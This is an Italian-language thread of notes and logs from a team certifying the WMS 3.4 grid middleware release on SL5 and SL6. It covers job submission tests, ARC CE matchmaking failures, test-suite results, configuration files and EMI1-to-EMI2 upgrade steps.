ma ho sottomesso un job a un CE ARC proprio oggi per Sara sul WMS SL6 cert-27.cnaf.infn.it che immagino sia 3.4 con VO CMS e tutto e' andato lisco.
Cosa esattamente non funziona della sottomissione ad ARC il Match making forse perche' usando il -r funziona:
[traldi@cert-25 ~]$ glite-wms-job-submit -o test_Arc_CE.txt -e https://cert-27.cnaf.infn.it:7443/glite_wms_wmproxy_server -a -r jade-cms.hip.fi:2811/nordugrid-GE-arc testArc.jdl

(cosi per intenderci)
Ciao

Non mi sembra in realta' un problema del wms, ma piuttosto una modifica in arc che non e' retrocompatibile.
Per quanto riguarda la pre-certificazione, vedo che e' stato usato il ce krokar.ijs.si:2811/nordugrid-torque-arc che forse e' antecedente a ARC 12.05.

allora e' un probelma del WMS che ancora cnon funziona con ARC CE per cui si mette una Known Issues, again, e si va avanti
Non dobbiamo fare altre prove, dobbiamo testare quello che abbiamo ricevuto e notificare i problemi. Mostrando alla fine se il prodotto puo o no essere usato.
Vai avanti, anche se recompila e fa altro non entra in questa update. O si ferma tuta la certificazione, si rifano il codice, i tag i rpm, la precertificazione e quando la loro precertificazione va bene andiamo di nuovo noi.
BTW - come mai questo pb non l'hanno trovato durante la precertificazione? Non dovevano verificare anche il funzionamento di ARC?

La patch e' per un componente che sta sul wms ma richiede ricompilazione, quindi non e' immediato provarla

non capisco cosa proponi di fare.
Andare sul ARC CE del testbed e applicare quel patch?

Aggiornamento sul problema del CE ARC.
Indagando mi sembra probabile che si tratti della seguente issue:

https://condor-wiki.cs.wisc.edu/index.cgi/tktview?tn=3062

Richiederebbe di ricompilare il nordugrid_gahp applicando la patch proposta.

Non riesco a fare il test che incollo sotto perche` non ho la password delle macchine del cnaf:
$ python WMS-jdl-attributes-job-cycle.py -c wms-command.conf -V dteam -d 3 -l -i -t 6
===> +++++++++++++++++++++++++++++++++++++++++++++++++++++
===> + TestSuite of the WMS Service
===> + Description: Test a complete job cycle for normal job with non default jdl files
===> +++++++++++++++++++++++++++++++++++++++++++++++++++++

Enter the user proxy password:

Test 6: Jdl with OutputSandboxBaseDestURI

OSB_DEST_HOSTNAME = emi-demo11.cnaf.infn.it
OSB_DEST_USERNAME = root
OSB_DEST_PASSWORD = ***
===>
===> Test: WMS-jdl-attributes-job-cycle.py
===> WMS: cert-27.cnaf.infn.it
===> Started: 14:37:34
===> Ended : 14:40:44
===>
===> >>> TEST FAILED <<<
===>
===> >>> failure reason: 1 test(s) fail(s): ['Test 6: Jdl with OutputSandboxBaseDestURI'] <<<
===>
===> Test log file is WMSService-TS_20120917143734.log
===> Error messages have been written in /home/bertocco/WMS-Test-Suite/WMS-service/WMSService-Test_20120917143734/errors.log
===>
===> Test directory /home/bertocco/WMS-Test-Suite/WMS-service/WMSService-Test_20120917143734 has not been cleaned for debug purpose

Ecco un nuovo tentativo:
$ python WMS-jdl-attributes-job-cycle.py -c wms-command.conf -V dteam -d 3 -l -i -t 1,2,4,5,6,7
===> +++++++++++++++++++++++++++++++++++++++++++++++++++++
===> + TestSuite of the WMS Service
===> + Description: Test a complete job cycle for normal job with non default jdl files
===> +++++++++++++++++++++++++++++++++++++++++++++++++++++

Enter the user proxy password:

Test 1: Jdl with AllowZippedISB

===> ERROR: Timeout reached while waiting the job https://cert-27.cnaf.infn.it:9000/b8g7sEmyxZCbvN5XJJOq3Q to finish

Test 2: Jdl with ExpiryTime

Sara, prova a lanciare con Testing i test tranne quelli che richiedono accesso ai dati remoti come data-req.

Limiter mechanism - MOSTLY PASSED (SAME FAILURES AS IN EMI1)

• non mi sembra ci sono note per questi "same failures" nelle certificazioni precedenti del WMS (ho trovato qualcosa andando vedere un log di Alessio per la 3.3.4). Nei ultimi task di certificazione per WMS non c'e' niente (non parlo delle twiki dove e' "normale" che non compaia niente visto che "doveva" essere tutto "PASSED")
  Comunque - e' bene che cominciamo condividere i "veri" problemi del WMS.

Perche' non e' mai stato chiaro se sono veramente fallimenti del wms o se e' la testsuite che implementa dei test non (ancora) supportati dal wms.

Per le release notes - va benissimo.
Quindi per SL5 per adesso non c'e' stato niente blocante.
Vediamo la sett prossima i regression e come va con SL6.

Grazie

Il test del feedback ha funzionato parzialmente (vedere twiki).

E' stato creato un tkt ggus per un bug che abbiamo trovato durante la sottomissione arc, linkato nel twiki.

Per gli altri test falliti marco conta di inserire dei known issue nelle release notes.

No, nessun progresso: prima avevo un errore nella configurazione del BDII (uno spazio nel nome) e non matchavo niente, poi ho aspettato a lungo il risultato del test di arc, ma senza successo perche` avevo un proxy dteam e ne serviva uno cms (il wms non segnala che la vo non e` supportata, il job e` rimasto in ready e la mattina dopo
$ glite-wms-job-status https://devel17.cnaf.infn.it:9000/5YWg0JvrwBM8QOmwRmmkjA https://cert-27.cnaf.infn.it:9000/Kk7EjCJUMsyoRiU5wxT9pg

======================= glite-wms-job-status Success =====================
BOOKKEEPING INFORMATION:

Status info for the Job : https://devel17.cnaf.infn.it:9000/5YWg0JvrwBM8QOmwRmmkjA
Current Status: Aborted
Logged Reason(s):

• Job got an error while in the CondorG queue.
• Job got an error while in the CondorG queue.
• Job got an error while in the CondorG queue.
• Job got an error while in the CondorG queue.
• Job got an error while in the CondorG queue.
• Job got an error while in the CondorG queue.
  Status Reason: proxy expired
  Destination: arc.univ.kiev.ua:2811/nordugrid-torque-arc
  Submitted: Thu Sep 13 11:05:30 2012 CEST
  ==========================================================================

======================= glite-wms-job-status Success =====================
BOOKKEEPING INFORMATION:

Status info for the Job : https://cert-27.cnaf.infn.it:9000/Kk7EjCJUMsyoRiU5wxT9pg
Current Status: Aborted
Logged Reason(s):

• Job got an error while in the CondorG queue.
• Job got an error while in the CondorG queue.
• Job got an error while in the CondorG queue.
• Job got an error while in the CondorG queue.
• Job got an error while in the CondorG queue.
  Status Reason: proxy expired
  Destination: arc.univ.kiev.ua:2811/nordugrid-torque-arc
  Submitted: Thu Sep 13 13:46:09 2012 CEST
  ==========================================================================

La sottomissione era fatta con:
glite-wms-job-submit -o test_Sara.txt -e https://cert-27.cnaf.infn.it:7443/glite_wms_wmproxy_server -a -r arc.univ.kiev.ua:2811/nordugrid-torque-arc firsttest.jdl

--------------------------------------------------------------
Oggi nuovo test per ora e` fallito perche` servono dei ce che non si matchano con "Testing" e quindi devo cambiare la configurazione della testsuite e ripartire.

Per SL5 - ho visto che in questo momento ci sono 2 failed, un random, e uno che non e' migliorato da EMI 1 a EMI 2.
Fabio - per tutti hai parlato con Marco? Ci sono speigazioni o nuovi bug savannah che seguono questi problemi?

per SL6 - Sara - sulla twiki non ci sono novita'. Sei riuscita fare progressi?

Avrei bisogno che nelle 2 twiki vengono messi "PASSED" e "FAILED" per ogni test fattto (come facciamo per i regression tests) - per riusicre vedere velocemente cosa non va.
per SL6 ho messo io. Per SL5 ho messo solo come esempio per 3 dei test.

Fatto.

1. job mpi - mi sembra di capire che con il WMS 3.1 e CE externi il problema no si presenta, ma con questa versione (3.4) si?
Non sono sicuro che con glite 3.1 il problema non si presenti. Di certo lo sto verificando ora con glite 3.2.

2. hai contatato i developers? se il problema è confermata => bug savannah. IN questo casa sarebbe da discuttere quanto bloccante è.
Si, Marco mi ha detto di continuare la certificazione.

Il test del perusal fallisce. Probabile bug nel codice wms (non viene creato il file JDLStarted nella sandbox).

===> ERROR: Command glite-wms-job-perusal --get -f out.txt --dir /home/capannini/WMS-Test-Suite/WMS-service/WMSService-Test_20120911165612/jobOutput https://cert-13.cnaf.infn.it:9000/-4AKS693kkIhSsXsCK9xbw failed. Failure message:
Connecting to the service https://cert-13.cnaf.infn.it:7443/glite_wms_wmproxy_server

Error - WMProxy Server Error
The Operation is not allowed: the job is not started
Error code: SOAP-ENV:Server

Traceback (most recent call last):
File "WMS-job-cycle.py", line 734, in ?
main()
File "WMS-job-cycle.py", line 709, in main
if perusal_submit(utils, tests[5]):
File "WMS-job-cycle.py", line 392, in perusal_submit
result=perusal_submit_test(utils,"2119/jobmanager")
File "WMS-job-cycle.py", line 329, in perusal_submit_test
utils.run_command_continue_on_error ("glite-wms-job-perusal --get -f out.txt --dir %s %s"%(utils.get_job_output_dir(),JOBID))
File "/home/capannini/WMS-Test-Suite/WMS-service/Test_utils.py", line 1183, in run_command_continue_on_error
raise RunCommandError(args,OUTPUT[1])
Exceptions.RunCommandError: '\nConnecting to the service https://cert-13.cnaf.infn.it:7443/glite_wms_wmproxy_server\n\n\nError - WMProxy Server Error\nThe Operation is not allowed: the job is not started\nError code: SOAP-ENV:Server\n\n'

Problema con i job mpi. Non si possono usare i ce Testing perche' manca OPENMPI ma usando i ce del bdii tutti i job vanno in abort ed e' molto difficile completare il test.
Quanto sarebbe complicato avere in Testing un cream OPENMPI?

Si come ho scritto ieri il problema del dns e' superato. Io sto andando avanti, Sara puo' fare lo stesso.

novita'?

Ci sono ancora problemi o si puo andare avanti.
Fabio - hai fatto altri passi?
Sara andrebbe avanti con la testsuite.

Purtroppo c'e' un problema nel dns e cert-bdii-04.cnaf.infn.it non e' raggiungibile. Non si puo' fare molto finche' non viene ripristinato.

Il problema e' rientrato.

Fabio: anomalia WMS 3.4 - "provando revuperare l'output di un job con una vo diversa da quella del job il job viene messo a cleared e non e' piu possibile recuperare l'output in seguito"
A.Cristofori continua con Marco.
Fabio - ripoertera l'eventuale link al bug savannah se il pb verra' confermata

ARC CE:
Florido ha commentato qui che ci sono delle inesattezze non ben precisate:
https://savannah.cern.ch/task/index.php?27452
vi aggiorno se e quando troviamo una soluzione per ARC CE del testbed

CERTIFICAZIONE INTEGRAZIONE WMS -ARGUS
Per ora ho messo a False il flag di ARGUS.
Va capito come configurare argus e pepd.ini (mandata mail a Valery).
Vi aggiorno appena risponde

questa parte con "esulano dalla certificazione" la discutiamo domani.

e io ti ringrazio perche` almeno cosi` so di replicare esattamente quello che hai fatto tu. E` la prima volta che certifico wms e sto cercando di orientarmi e di capire cosa fare.

Il twiki contiene tutto, ma i file di conf e i jdl da usare per una semplice sottomissione esulano dalla certificazione, ognuno usa quelli che meglio crede. Mi sono solo permesso di consigliare a Sara i miei visto che mi sembrava in difficolta'.

direi che seguendo la certificazione 3.3.5 di Fabio ci sono abbastanza dettagli.
Ad ogni modo Sara, hai visto che i test submission sono gia' fatti e descritti nelle twiki riportate su?

posso solo dire che vedo molta confusione

questi detagli li abbiamo (bdii solito di certificazione, configration file wms_ui.conf, o come si chiama) SCRITTI da qualche parte?

il bdii usato e' quello solito di certificazione che usa Fabio
II_Contact = "cert-bdii-04.cnaf.infn.it ";
non ho idea di che roba ci sia li dentro.
probabilmente un mix di production / emi large scale e testbed certificazione locale.

Ho provato la listmatch e vengono fuori solo i ce di pd come dovrebbe essere.
Prova ad usare questo file di conf:

WmsClient = [
ErrorStorage="/var/tmp";
OutputStorage= "/tmp";
ListenerStorage="/tmp";
virtualorganisation="dteam";
requirements = other.GlueCEStateStatus == "Production";
RetryCount = 0;
WMProxyEndPoints =

;
rank = -other.GlueCEStateEstimatedResponseTime;
];

e questo jdl:

[
Executable = "ls.sh";
Arguments = "-al";
requirements = other.GlueCEStateStatus == "Testing";
retrycount = 4;
shallowretrycount = 3;
StdError = "stderr.log";
StdOutput = "stdout.log";
InputSandbox = "ls.sh";
]

con ls.sh:
#!/bin/sh
/bin/ls $1

Usando la vo testers invece che dteam matcho solo:
$ glite-wms-job-list-match -a -c /home/bertocco/conf/wms_test.conf /home/bertocco/jdl/test.jdl

Connecting to the service https://cert-27.cnaf.infn.it:7443/glite_wms_wmproxy_server

==========================================================================

COMPUTING ELEMENT IDs LIST
The following CE(s) matching your job requirements have been found:

CEId

• ctb04.gridctb.uoa.gr:8443/cream-pbs-emitesters

==========================================================================

La cert-13 e la cert-27 mi pare le avessi lasciate in both mode. Ad ogni modo sottometti un job e vedi subito, visto che LB e' nel JOBID.
Per quanto riguarda i CE da matchare dipendono dal BDII specificato.
Avevo gia' fatto i test di job submission e andavano tutti done, quindi piu' probabilmente c'e' un problema di proxy o data/ora o qualcosa di molto generale...

Ho provato il primo test e i job mi vanno tutti (sia su lcg-ce che su cream) in aborted. Ci sono dei test preliminari da fare per vedere se si matchano i ce giusti e se funzionano?
Io ho provato:
glite-wms-job-list-match -a -c /home/bertocco/conf/wms_test.conf /home/bertocco/jdl/test.jdl
con
$ cat /home/bertocco/conf/wms_test.conf
[
WmsClient = [
ErrorStorage="/var/tmp";
OutputStorage= "/tmp";
ListenerStorage="/tmp";
requirements = other.GlueCEStateStatus == "Testing";
rank =-other.GlueCEStateEstimatedResponseTime ;
DefaultStatusLevel = 1 ;
DefaultLoggingLevel = 0 ;
WMProxyEndPoints =

;
VirtualOrganisation = "dteam";
MyProxyServer = "myproxy.cnaf.infn.it";
];
]

e mi vengono matchati molti piu` wms di quelli che dovrebbero:
Connecting to the service https://cert-27.cnaf.infn.it:7443/glite_wms_wmproxy_server

==========================================================================

COMPUTING ELEMENT IDs LIST
The following CE(s) matching your job requirements have been found:

CEId

• atlasce2.lnf.infn.it:8443/cream-pbs-cert
• cccreamceli05.in2p3.fr:8443/cream-sge-long
• cccreamceli05.in2p3.fr:8443/cream-sge-medium
• cccreamceli05.in2p3.fr:8443/cream-sge-short
• cccreamceli06.in2p3.fr:8443/cream-sge-long
• cccreamceli06.in2p3.fr:8443/cream-sge-medium
• cccreamceli06.in2p3.fr:8443/cream-sge-short
• cccreamceli09.in2p3.fr:8443/cream-sge-long
• cccreamceli09.in2p3.fr:8443/cream-sge-medium
• cccreamceli09.in2p3.fr:8443/cream-sge-short
• ce-02.roma3.infn.it:8443/cream-pbs-cert
• ce-cream.mi.infn.it:8443/cream-pbs-cert
• ce.cyb-pcr.it:2119/jobmanager-lcgsge-poncert
• ce.scope.unina.it:8443/cream-pbs-egeecert
• ce01.oats.inaf.it:8443/cream-pbs-dteam
• ce203.cern.ch:8443/cream-lsf-grid_2nh_dteam
• ce203.cern.ch:8443/cream-lsf-grid_dteam
• ce204.cern.ch:8443/cream-lsf-grid_2nh_dteam
• ce204.cern.ch:8443/cream-lsf-grid_dteam
• ce205.cern.ch:8443/cream-lsf-grid_2nh_dteam
• ce205.cern.ch:8443/cream-lsf-grid_dteam
• ce206.cern.ch:8443/cream-lsf-grid_2nh_dteam
• ce206.cern.ch:8443/cream-lsf-grid_dteam
• ce207.cern.ch:8443/cream-lsf-grid_2nh_dteam
• ce207.cern.ch:8443/cream-lsf-grid_dteam
• ce208.cern.ch:8443/cream-lsf-grid_2nh_dteam
• ce208.cern.ch:8443/cream-lsf-grid_dteam
• cebo-t3-01.cr.cnaf.infn.it:8443/cream-lsf-T3_BO
• cebo-t3-02.cr.cnaf.infn.it:8443/cream-lsf-T3_BO
• cecream.ca.infn.it:8443/cream-lsf-cert
• cert-ce-01.cnaf.infn.it:8443/cream-pbs-cert
• cex.grid.unipg.it:8443/cream-pbs-cert
• cmsrm-cream01.roma1.infn.it:8443/cream-lsf-cmsgcert
• cmsrm-cream02.roma1.infn.it:8443/cream-lsf-cmsgcert
• cream-19.pd.infn.it:8443/cream-lsf-cert
• cream-19.pd.infn.it:8443/cream-lsf-creamcert1
• cream-19.pd.infn.it:8443/cream-lsf-creamcert2
• cream-20.pd.infn.it:8443/cream-lsf-cert
• cream-20.pd.infn.it:8443/cream-lsf-creamcert1
• cream-20.pd.infn.it:8443/cream-lsf-creamcert2
• cream-22.pd.infn.it:8443/cream-lsf-cert
• cream-22.pd.infn.it:8443/cream-lsf-creamcert1
• cream-22.pd.infn.it:8443/cream-lsf-creamcert2
• cream-23.pd.infn.it:8443/cream-lsf-cert
• cream-23.pd.infn.it:8443/cream-lsf-creamcert1
• cream-23.pd.infn.it:8443/cream-lsf-creamcert2
• cream-29.pd.infn.it:8443/cream-lsf-cert
• cream-29.pd.infn.it:8443/cream-lsf-creamcert1
• cream-29.pd.infn.it:8443/cream-lsf-creamcert2
• cream-39.pd.infn.it:8443/cream-pbs-cert
• cream-39.pd.infn.it:8443/cream-pbs-creamtest1
• cream-39.pd.infn.it:8443/cream-pbs-creamtest2
• cream-ce-2.ba.infn.it:8443/cream-pbs-cert
• cream-ce.research-infrastructures.eu:8443/cream-pbs-dteam
• dgas-test-vm03.cnaf.infn.it:8443/cream-pbs-cert
• duck-01.biocomp.unibo.it:8443/cream-pbs-cert
• egice.polito.it:8443/cream-pbs-cert
• egridglitece.crs4.it:8443/cream-lsf-cert
• emi-ce01.scope.unina.it:8443/cream-pbs-egeecert
• gilda-01.pd.infn.it:2119/jobmanager-lcgpbs-cert
• grid.uibk.ac.at:8443/cream-pbs-dteam
• grid010.ct.infn.it:8443/cream-pbs-cert
• grid012.ct.infn.it:8443/cream-lsf-cert
• gridce.ilc.cnr.it:8443/cream-pbs-cert
• gridce3.pi.infn.it:8443/cream-lsf-certmpi
• gridsrv2-4.dir.garr.it:8443/cream-pbs-cert
• grisuce.scope.unina.it:8443/cream-pbs-egeecert
• hephygr.oeaw.ac.at:8443/cream-pbs-dteam
• hepx4.uibk.ac.at:8443/cream-pbs-dteam
• ng-ce.grid.unipg.it:8443/cream-pbs-cert
• pbs-enmr.cerm.unifi.it:8443/cream-pbs-cert
• prod-ce-01.pd.infn.it:8443/cream-lsf-cert
• sirius-ce.ct.infn.it:8443/cream-pbs-cert
• t2-ce-01.mi.infn.it:2119/jobmanager-lcgpbs-cert
• t2-ce-01.to.infn.it:8443/cream-pbs-cert
• t2-ce-01.to.infn.it:8443/cream-pbs-short
• t2-ce-02.mi.infn.it:2119/jobmanager-lcgcondor-cert
• unict-dmi-ce-01.ct.pi2s2.it:2119/jobmanager-lcglsf-cert
• unime-ce-01.me.pi2s2.it:2119/jobmanager-lcglsf-cert
• virgo-ce.roma1.infn.it:2119/jobmanager-lcgpbs-cert
• grid-ce.pv.infn.it:8443/cream-pbs-cert
• ce-01.roma3.infn.it:8443/cream-pbs-cert
• cccreamceli10.in2p3.fr:8443/cream-sge-long
• cccreamceli10.in2p3.fr:8443/cream-sge-medium
• cccreamceli10.in2p3.fr:8443/cream-sge-short
• ce01-lcg.cr.cnaf.infn.it:8443/cream-lsf-dteam
• ce07-lcg.cr.cnaf.infn.it:8443/cream-lsf-dteam
• ce04-lcg.cr.cnaf.infn.it:8443/cream-lsf-dteam
• ce09-lcg.cr.cnaf.infn.it:8443/cream-lsf-dteam
• ce08-lcg.cr.cnaf.infn.it:8443/cream-lsf-dteam
• ce05-lcg.cr.cnaf.infn.it:8443/cream-lsf-dteam
• linucs-ce-01.cs.infn.it:8443/cream-pbs-atlasgcert
• ce06-lcg.cr.cnaf.infn.it:8443/cream-lsf-dteam
• gridce4.pi.infn.it:8443/cream-lsf-certmpi
• cream-26.pd.infn.it:2119/jobmanager-lcgpbs-cert
• cream-26.pd.infn.it:2119/jobmanager-lcgpbs-creamtest1
• cream-26.pd.infn.it:2119/jobmanager-lcgpbs-creamtest2
• cream-30.pd.infn.it:8443/cream-pbs-cert
• cream-30.pd.infn.it:8443/cream-pbs-creamtest1
• cream-30.pd.infn.it:8443/cream-pbs-creamtest2
• ce-1.le.infn.it:8443/cream-lsf-cert
• ce.cesic.unical.it:8443/cream-pbs-test
• cmsrm-ce01.roma1.infn.it:2119/jobmanager-lcglsf-cmsgcert
• cmsrm-ce02.roma1.infn.it:2119/jobmanager-lcglsf-cmsgcert
• cream-24.pd.infn.it:8443/cream-lsf-cert
• cream-24.pd.infn.it:8443/cream-lsf-testbedB_1
• cream-24.pd.infn.it:8443/cream-lsf-testbedB_2
• cream-40.pd.infn.it:8443/cream-pbs-cert
• cream-40.pd.infn.it:8443/cream-pbs-creamtest1
• cream-40.pd.infn.it:8443/cream-pbs-creamtest2
• cream-41.pd.infn.it:8443/cream-pbs-cert
• cream-41.pd.infn.it:8443/cream-pbs-creamtest1
• cream-41.pd.infn.it:8443/cream-pbs-creamtest2
• cream-ce-01.ct.trigrid.it:8443/cream-lsf-cert
• cream-ce.ct.infn.it:8443/cream-lsf-cert
• gridce0.pi.infn.it:8443/cream-lsf-cert
• gridce1.pi.infn.it:2119/jobmanager-lcglsf-cert
• gridce2.pi.infn.it:2119/jobmanager-lcglsf-cert
• infn-ce-01.ct.pi2s2.it:8443/cream-lsf-cert
• infnlns-ce-01.ct.pi2s2.it:8443/cream-lsf-cert
• arcserv.ira.inaf.it:8443/cream-pbs-cert
• atlasce3.lnf.infn.it:8443/cream-pbs-cert
• atlasce4.lnf.infn.it:8443/cream-pbs-cert
• boce.bo.infn.it:8443/cream-pbs-cert
• cert-37.pd.infn.it:8443/cream-lsf-cert
• cream-01.cnaf.infn.it:8443/cream-pbs-cert
• cream-02.cnaf.infn.it:8443/cream-pbs-cert
• cream-02.cnaf.infn.it:8443/cream-pbs-test-sl6
• cream-18.pd.infn.it:8443/cream-lsf-cert
• cream-18.pd.infn.it:8443/cream-lsf-creamtest1
• cream-18.pd.infn.it:8443/cream-lsf-creamtest2
• cream-35.pd.infn.it:8443/cream-lsf-cert
• cream-35.pd.infn.it:8443/cream-lsf-creamtest1
• cream-35.pd.infn.it:8443/cream-lsf-creamtest2
• cream-ce-1.ba.infn.it:8443/cream-pbs-cert
• cream-ce.pg.infn.it:8443/cream-pbs-cert
• cremino.cnaf.infn.it:8443/cream-pbs-cert
• cremino.cnaf.infn.it:8443/cream-pbs-cloudtf
• cremoso.cnaf.infn.it:8443/cream-pbs-cloudcert
• cremoso.cnaf.infn.it:8443/cream-pbs-cloudtest
• cremoso.cnaf.infn.it:8443/cream-pbs-cloudtf
• ctb04.gridctb.uoa.gr:8443/cream-pbs-dteam
• grid0.fe.infn.it:8443/cream-pbs-cert
• inaf-ce-01.ct.pi2s2.it:8443/cream-lsf-cert
• pamelace01.na.infn.it:8443/cream-pbs-cert
• prod-ce-02.pd.infn.it:2119/jobmanager-lcglsf-cert
• unipa-ce-01.pa.pi2s2.it:2119/jobmanager-lcglsf-cert

==========================================================================

Dovrei provare a cominciare qualche test su SL6 (cert-27). Come e` configurata adesso? BOTH o PROXY? Se PROXY chi e` il suo lb? devel-17?

avevamo detto diversamente:

• se i dag sono supportati SOLO da lcg-CE, il lcg-CE non esiste più per cui i test dag non servono più inquanto non esiste un CE che gli supporta.
• se invece i test dag sono supportati dai ARC CE e Condor CE veranno verificati verso Condor CE e ARC CE.

però per questa certificazione, visto che abbiamo ancora un lcg-CE nel testbed, facciamo i dag test verso questo CE. Ma dovrebe essere l'ultima volta! Non solo lcg-CE non è più supportato, lcg-CE è SL4, SL4 è ..."morto",neanche security support non si fa e per questo è priobitissimo!

Dal momento che i dag sono supportati solo da lcg ce decidiamo di lasciare nella testsuite il test dag verso lcg ce. Gli altri test vengono eseguiti solo verso cream.

Riepilogo-----------------------------
finito i test seguenti:

• clean install SL5
• update install (EMI1-> EMI2) SL5
• Submission test both mode SL5
• Submission test proxy mode SL5
• Submission test on update install both mode SL5
• clean install SL6
• Submission test both mode SL6
• Submission test proxy mode SL6

Tutti i log nella twiki e nel task di certificazione. come procediamo ora?

Per log e dettagli riferirsi a:
https://wiki.italiangrid.it/twiki/bin/view/IGIRelease/WMSTask21060SL5
https://wiki.italiangrid.it/twiki/bin/view/IGIRelease/WMSTask21060SL6

TEST EMI1-> EMI2 Update passed.

TEST SUBMISSION SU UPDATE passed anche se mi da questo errore (e' trascurabile?):

===> ERROR: Command glite-wms-job-status --verbosity 0 https://cert-13.cnaf.infn.it:9000/8TrsHieqXo1ukD1Aaw9S2A failed. Failure message: **** Error: API_NATIVE_ERROR ****
Error while calling the "Job:getStatus" native api
Unable to retrieve the status for: https://cert-13.cnaf.infn.it:9000/8TrsHieqXo1ukD1Aaw9S2A
glite.lb.Exception: edg_wll_JobStatus: Connection refused: edg_wll_gss_connect()
at glite::lb::Job::status[./src/Job.cpp:87]

TEST SUBMISSION PROXY MODE PASSED SL5+ SL6

Puoi riprendere il test, adesso cream-29.pd e` a posto.

riconfigurato cert-13 e cert-27 in modalita' proxy con devel17 (LB).
test fallisce per problemi a cream-29.pd
Sara sta debuggando il problema> test sospeso

fatto test

clean install modalità both
sottomissione
riconfigurazione ok in modalità proxy.
Continuo da qui lunedì.

Diamo per buona installazione SL6.
Sto rifacendo i seguenti test SL5

• clean install modalità both
• sottomissione
• config in proxy mode
• sottomissione
• scratch e install con update da emi1 a emi2

Unit Test - richiedere a PaoloA. link dei report di unit tests. (CrisA)

Testsuite + tutte basic functionality tests - su tutte due piataf, eliminando la sottomissione verso LCG-CE.

Published Info - su tutte due

Performance tests - solo su SL5 eliminando PRIMA i CE con problemi (da eliminare cream-11(spento))

oggi 31.08 mandare il script verso uno dei due WMS installati da Danilo - lunedi verificare il risultato!

Regression tests:

• principalmente su SL5 - il piu' grande numero possible in 3 giorni, resto si prende il log dalla pre-certificazione
• su SL6 solo quelli che sembrano "specifici" ad SL6

La sottomissione "condor" si verifica usando sotomissione verso un ARC CE.

Nagios probes - non si testano (almeno in questa certificazione)

BTW - ho trovato che su cert-13 (SL%) c'e' il problema del "sudo":
http://www.eu-emi.eu/emi-1-kebnekaise-updates/-/asset_publisher/hHg1/content/issues-with-new-version-of-sudo-package-1-7-2p1-14-el5_8-2

che potrebbe essere uno dei mottivi dei errori. Ho applicato il fix.
Riprova con qualche job.

Invece su SL6 questo pb ("sudo) non dovrebbe presentarsi.

guardando l'ultimo log del update di cert-13 e le Release Notes per un update, mi sa che te l'ahi fatto a caso:

• dopo aver installato i repo di emi-2 (emi-release-2.0.0) non hai piu' seguito quello scritto nelle release notes e hai fatto "yum update" seguito da "yum remove condor condor-lcg" che avrebbe avuto come effetto:

Removing for dependencies:
emi-wms x86_64 1.0.2-5.sl5 installed 0.0
glite-wms-jobsubmission x86_64 3.4.0-9.sl5 installed 471 k
glite-wms-jobsubmission-lib x86_64 3.4.0-9.sl5 installed 1.2 M

ma e' stato interotto - quindi nessuna rimozione del condor e condor-lcg

• hai poi continuato facendo solo "yum install condor-emi"
• hai fatto i cambiamenti di permessi del /var/log e configure, ma a questo punto non so quanto affidabile e' il risultato.

ho veirifcato ed in questo momento su cert-13 ci sono 3 rpm condor:
rpm -qa |grep condor
condor-7.4.2-1
condor-lcg-1.2.0-1
condor-emi-7.8.0-2

va bene, va male? chi sa. Non mi sembra e' stato previsto o pre-certificato cosi
e' vero che i vari rpm hanno path diversi e sembra che i daemoni sono quelli forniti da condor-emi, ma...

Vedi cosa dice Marco di questa situazione.

ok!

grazie!
ma a quale log ti riferivi prima? ho guardato quello di oggi e non ci sono i errori che riporti.

fatti i principali controlli. ho passato la macchina a marco cecchi per vedere se ci capisce qualcosa.

View attached file per i dettagli.

Fatto test di installazione con update da emi1 a emi2.
INSTALLAZIONE E CONFIGURAZIONE SEMBRANO OK, DEMONI OK, ma la sottomissione non funziona , errore:

30 Aug, 12:50:05 I PID: 31025 - "wmpcommon::initWMProxyOperation": Remote CLIENT S DN: /C=CH/O=CERN/OU=GD/CN=Test user 594/CN=proxy/CN=proxy/CN=proxy/CN=proxy
30 Aug, 12:50:05 I PID: 31025 - "wmpcommon::initWMProxyOperation": Remote GRST CRED: GSIPROXY 1345977225 1347187124 4 /C=CH/O=CERN/OU=GD/CN=Test user 594/CN=proxy/CN=proxy
30 Aug, 12:50:05 I PID: 31025 - "wmpcommon::initWMProxyOperation": Service GRST PROXY LIMIT: 6
30 Aug, 12:50:05 I PID: 31025 - "wmpcommon::initWMProxyOperation": WMProxy instance serving core request N.: 19
30 Aug, 12:50:05 I PID: 31025 - "wmpcommon::getType": JDL Type: job
30 Aug, 12:50:05 S PID: 31025 - "WMPEventlogger::registerJob": edg_wll_RegisterJobProxy returned: Invalid argument (edg_wll_RegisterJobMaster(): unable to register job
Resource temporarily unavailable;; Logging library ERROR:
Resource temporarily unavailable;; edg_wll_DoLogEventServer(): edg_wll_log_direct_connect error
DNS resolver error;; edg_wll_gss_connect();; GSS Error: Resolver internal error)
30 Aug, 12:50:12 S PID: 31025 - "WMPEventlogger::registerJob": edg_wll_RegisterJobProxy returned: Invalid argument (edg_wll_RegisterJobMaster(): unable to register job
Resource temporarily unavailable;; Logging library ERROR:
Resource temporarily unavailable;; edg_wll_DoLogEventServer(): edg_wll_log_direct_connect error
DNS resolver error;; edg_wll_gss_connect();; GSS Error: Resolver internal error)
30 Aug, 12:50:18 S PID: 31025 - "WMPEventlogger::registerJob": edg_wll_RegisterJobProxy returned: Invalid argument (edg_wll_RegisterJobMaster(): unable to register job
Resource temporarily unavailable;; Logging library ERROR:
Resource temporarily unavailable;; edg_wll_DoLogEventServer(): edg_wll_log_direct_connect error
DNS resolver error;; edg_wll_gss_connect();; GSS Error: Resolver internal error)
30 Aug, 12:50:26 I PID: 31025 - "wmpgsoapoperations::ns1__jobRegister": ------------------------------- Fault description --------------------------------
30 Aug, 12:50:26 I PID: 31025 - "wmpgsoapoperations::ns1__jobRegister": Method: jobRegister
30 Aug, 12:50:26 I PID: 31025 - "wmpgsoapoperations::ns1__jobRegister": Code: 1227
30 Aug, 12:50:26 I PID: 31025 - "wmpgsoapoperations::ns1__jobRegister": Description: job registration failed
30 Aug, 12:50:26 I PID: 31025 - "wmpgsoapoperations::ns1__jobRegister": ----------------------------------------------------------------------------

si sarebbe per SL5, dove esiste la versione EMI 1

ok, stavo guardando le extended release notes, dove non vedo il pezzo indicato.
Ho applicato i comandi ed ora sembra a posto.
Le macchine sono su con i servizi wms sl5 e sl6 e sembrano funzionare a livello basic.

Per update case cosa si intende: update da emi1 a emi2 ?

le release notes del task https://savannah.cern.ch/task/?21060 dicono:

The packages condor and condor-lcg, typical of the previous versions, are now replaced by condor-emi, which includes the full condor distribution plus a couple of security and functionality fixes, not ported upstream by the Condor team yet.

• Fresh install:
• yum install emi-wms condor-emi
• run yaim
• execute the cron job /etc/cron.d/glite-wms-create-host-proxy.cron

